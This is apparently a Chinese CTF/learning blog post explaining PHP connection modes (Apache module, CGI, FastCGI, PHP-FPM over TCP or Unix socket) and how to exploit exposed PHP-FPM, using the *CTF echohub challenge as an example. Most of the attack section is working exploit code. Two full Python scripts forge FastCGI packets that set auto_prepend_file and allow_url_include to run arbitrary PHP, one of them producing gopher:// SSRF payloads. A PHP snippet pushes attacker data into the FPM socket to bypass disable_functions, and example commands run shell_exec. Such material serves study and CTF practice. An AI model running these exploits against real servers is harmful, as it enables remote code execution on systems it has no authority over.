前言

看了zsx师傅的*CTF echohub WP,发现自己对这一块特别不熟,再此记录一下

PHP的连接方式

apche2-module

把php当做apache的一个模块,实际上php就相当于apache中的一个dll或一个so文件,phpstudy的非nts模式就是默认以module方式连接的
图片.png

CGI模式

此时php是一个独立的进程比如php-cgi.exe,web服务器也是一个独立的进程比如apache.exe,然后当Web服务器监听到HTTP请求时,会去调用php-cgi进程,他们之间通过cgi协议,服务器把请求内容转换成php-cgi能读懂的协议数据传递给cgi进程,cgi进程拿到内容就会去解析对应php文件,得到的返回结果在返回给web服务器,最后web服务器返回到客户端,但随着网络技术的发展,CGI方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为HTTP要生成一个动态页面,系统就必须启动一个新的进程以运行CGI程序,不断地fork是一项很消耗时间和资源的工作。

FastCGI模式

fastcgi本身还是一个协议,在cgi协议上进行了一些优化,众所周知,CGI进程的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中 并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over特性等等。

简而言之,CGI模式是apache2接收到请求去调用CGI程序,而fastcgi模式是fastcgi进程自己管理自己的cgi进程,而不再是apache去主动调用php-cgi,而fastcgi进程又提供了很多辅助功能比如内存管理,垃圾处理,保障了cgi的高效性,并且CGI此时是常驻在内存中,不会每次请求重新启动

PHP-FPM

这个大家肯定都不陌生,在linux下装php环境的时候,经常会用到php-fpm,那php-fpm是什么
上面提到,fastcgi本身是一个协议,那么就需要有一个程序去实现这个协议,php-fpm就是实现和管理fastcgi协议的进程,fastcgi模式的内存管理等功能,都是由php-fpm进程所实现的
下面引用p师傅的博客文章


Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php


本质上fastcgi模式也只是对cgi模式做了一个封装,本质上只是从原来web服务器去调用cgi程序变成了web服务器通知php-fpm进程并由php-fpm进程去调用php-cgi程序

判断连接模式

就拿*CTF来说,如何判断一个php的连接模式?在接触不到服务器文件的情况下,我们可以通过phpinfo来判断
图片.png
图片.png

图片.png
phpinfo的第三行代表了PHP的连接模式,第一张图的Apache 2.0 Handler代表了这个php使用了apache-module模式,第二张图的CGI/FastCGI代表了用CGI模式进行通信,第三张图的FPM代表了php-fpm进程的fastcgi模式

一般来说,apache服务器常用module方式起php,nginx服务器常用fastcgi模式起php,所以接下来我已nginx为例

php-fpm的模式

是不是很绕,php-fpm下还可以继续分,如果使用fastcgi模式,nginx与php-fpm通信可以通过两种模式,一种是TCP模式,一种是unix 套接字(socket)模式

TCP模式

TCP模式即是php-fpm进程会监听本机上的一个端口(默认9000),然后nginx会把客户端数据通过fastcgi协议传给9000端口,php-fpm拿到数据后会调用cgi进程解析
nginx的配置文件像这个样子

/etc/nginx/sites-available/default

location ~ \.php$ {
      index index.php index.html index.htm;
      include /etc/nginx/fastcgi_params;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_index index.php;
      include fastcgi_params;
 }

php-fpm的配置文件像这个样子
/etc/php/7.3/fpm/pool.d/www.conf

listen=127.0.0.1:9000

Unix Socket

unix socket其实严格意义上应该叫unix domain
socket,它是unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
具体原理这里就不讲了,但是此通信方式的性能会优于TCP
/etc/nginx/sites-available/default

location~\.php${
      index index.php index.html index.htm;
      include /etc/nginx/fastcgi_params;
      fastcgi_pass unix:/run/php/php7.3-fpm.sock;
      fastcgi_index index.php;
      include fastcgi_params;
}

/etc/php/7.3/fpm/pool.d/www.conf

listen = /run/php/php7.3-fpm.sock

php-fpm未授权漏洞

既然nginx通过fastcgi协议与php-fpm通信。那么理论上,我们可以伪造fastcgi协议包,欺骗php-fpm进程,从而执行任意代码
这里有个bug的地方是,除disable_function以外的大部分php配置,都可以在协议包里面更改,包括php手册规定的PHP_INI_SYSTEM配置
php.ini配置选项列
fastcgi协议中只可以传输配置信息及需要被执行的文件名及客户端传进来的get,post,cookie等数据。看上去我们即使能传输任意协议包也不能任意代码执行,但是我们可以通过更改配置信息来执行任意代码

auto_prepend_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件,并且auto_prepend_file可以使用php伪协议
我们先把配置auto_prepend_file修改为php://input

php://input

php://input是客户端所有的POST数据
因为fastcgi协议中可以控制数据段POST数据所以这样就可以包含post传进来的数据,但是php://input需要开启allow_url_include,官方手册虽然这个配置规定只能在php.ini中修改,但是bug的是,fastcgi协议的PHP_ADMIN_VALUE选项可以修改几乎所有的配置,所以通过PHP_ADMIN_VALUE把allow_url_include修改为True,这样就可以通过fastcgi协议任意代码执行

文件名

但是还需要注意的是,我们需要知道一个服务端已知的php文件,因为php-fpm拿到fastcgi数据包后,先回去判断客户端请求的文件是否存在(即fastcgi数据包中的文件名),如果不存在就不会执行,并且由于security.limit_extensions这个配置,文件名必须是php后缀。如果服务端解析php,直接猜绝对路径用/var/www/html/index.php就行了,但是如果不知道Web的绝对路径或者web目录下没有php文件,就可以指定一些php默认安装就存在的php文件
可以使用find / -name *.php查找自己服务器上有哪些php后缀的文件

图片.png
比如/usr/local/lib/php/PEAR.php或/usr/share/php/PEAR.php
接下来就可以用别人的脚本啦!

脚本(来源于p师傅)

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
print(force_text(response))

用法python exp.py -c phpcode -p port host filename

比如python exp.py -c "<?php echo shell_exec('ifconfig');?>" 127.0.0.1 /var/www/html/test.php
post默认为9000端口,这样就可以攻击未授权任意代码执行啦!

SSRF+Gopher

除了攻击未授权,现在大部分php-fpm应用都是绑定在127.0.0.1,所以我们当然可以通过SSRF来攻击php-fpm,我改了一下p师傅的脚本,暂时只能用python2跑

import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
        #    print('connect failure! please check your fasctcgi-server !!')
         #   return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        #print base64.b64encode(request)
        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    response = urllib.quote(response)
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)

用法跟上面的一样,只不过会直接返回给你gopher的exp,如果是php页面存在ssrf漏洞记得生成exp还要在Url编一次码,因为exp进入web服务器会解一次码,php在请求一次又会解一次码。而我的脚本只编了一次码
图片.png
图片.png
当然也可以使用(Gopherus)[[https://github.com/tarunkant/Gopherus]](https://github.com/tarunkant/Gopherus)
这个工具也是特别好用,并且支持生成gopher打多种服务的exp,当然这里主讲php-fpm,不知道的可以去了解

攻击套接字

上面讲的都是php-fpm通过TCP方式与nginx连接,那如果php-fpm通过unix套接字与nginx连接该怎么办
接下来请欣赏php的魔法

<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>
//来自https://xz.aliyun.com/t/5006#toc-3 
//ROIS的*CTF WP

默认套接字的位置在/run/php/php7.3-fpm.sock(7.3是php版本号)

当然,如果不在的话可以通过默认/etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径 或者 TCP模式的端口号
当然,如果采用套接字的方式连接,我们暂时不能使用ssrf来攻击php-fpm,只能通过linux的数据流来进行数据传递,相对于tcp还是比较安全的
exp的话,把上面那个exp的最后三行改下就行了,如果是base64数据传输换成base64encode,如果直接传的话把gopher的字符串去掉

*CTF echohub

从echohub这道题来说,题目环境装了apache服务器和apache-module模式的php模块,并且题目环境就是以apache-module运行的php,但是环境也安装了php-fpm,并且最后还启动了所有的服务
什么意思,就是我题目环境除了apache-module的php,还要装一个php-fpm,相当于服务器有两个php环境,apache使用的是module的php,另一个php-fpm虽然开启但是是一个无用的进程没有web服务器与他通信
题目的web环境也就是apache-module的php的disable_function限制的特别死无法执行系统命令,于是呢就可以通过攻击另一个php环境来执行系统命令(不同的php环境使用不一样的配置文件)
这道题exp就是上面攻击套接字那个,通过攻击另一个没啥限制的php-fpm来执行系统命令

默认安装的php-fpm如果不做改动的话,都是默认以套接字方式进行通信(php7以上都是)

ubuntu安装php

如何安装php可能可以帮助深入理解一下这个过程

如何安装apache-module

apt update
apt install -y apache2
apt install -y software-properties-common
add-apt-repository -y ppa:ondrej/php
apt update
apt install -y libapache2-mod-php7.3      #这个就是apache的内置php模块
service apache2 start                                            #因为php内置在apache,所以只需要启一个服务

图片.png

安装nginx + fastcgi

apt update
apt install -y nginx
apt install -y software-properties-common
add-apt-repository -y ppa:ondrej/php
apt update
apt install -y php7.3-fpm
apt install vim

然后vim /etc/nginx/sites-enabled/default
图片.png
把56开始注释掉,然后选择你想要的连接模式,注释60行或者62行,socket的话记得更改后面php7.0为对应版本号

vim /etc/php/7.3/fpm/pool.d/www.conf
图片.png
如果需要TCP模式,把listen = /run/php/php7.3-fpm.sock 替换为 listen = 127.0.0.1:9000
然后

/etc/init.d/php7.3-fpm start        #php-fpm是一个独立的进程,需要单独启动
service nginx start

完成!
图片.png

参考

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://xz.aliyun.com/t/5006
https://blog.csdn.net/shenqintao/article/details/83991565
https://www.php.net/manual/zh/ini.list.php